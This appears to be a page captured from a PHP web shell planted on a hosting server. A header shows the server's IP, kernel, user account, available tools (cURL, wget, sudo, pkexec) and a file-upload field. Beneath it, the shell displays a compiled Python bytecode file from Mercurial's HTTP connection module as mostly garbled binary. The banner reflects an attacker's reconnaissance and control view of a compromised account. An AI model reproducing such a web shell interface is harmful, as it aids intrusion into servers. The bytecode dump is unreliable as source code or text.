| Server IP : 162.241.203.86 / Your IP : 216.73.217.16 Web Server : Apache System : Linux br1002.hostgator.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : luxlic01 ( 6532) PHP Version : 8.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib64/python3.9/site-packages/mercurial/__pycache__/ |
Upload File : |
a
�+�b � @ sp d dl mZ d dlZddlmZ ddlmZ ddlmZmZ ddl m
Z
ejZejZG dd � d e
�Zd
d� ZdS )� )�absolute_importN� )�_)�open)�pycompat�util)�urlutilc @ s8 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd
d� ZdS )
�httpsendfilez�This is a wrapper around the objects returned by python's "open".
Its purpose is to send file-like objects via HTTP.
It do however not define a __len__ attribute because the length
might be more than Py_ssize_t can handle.
c O s\ || _ t|i |��| _| jj| _| jj| _| jj| _t�| j�� �j | _
d| _| �� | _
d S )Nr )�uir �_data�seek�close�write�os�fstat�fileno�st_size�length�_pos�
_makeprogress� _progress)�selfr
�args�kwargs� r �>/usr/lib64/python3.9/site-packages/mercurial/httpconnection.py�__init__&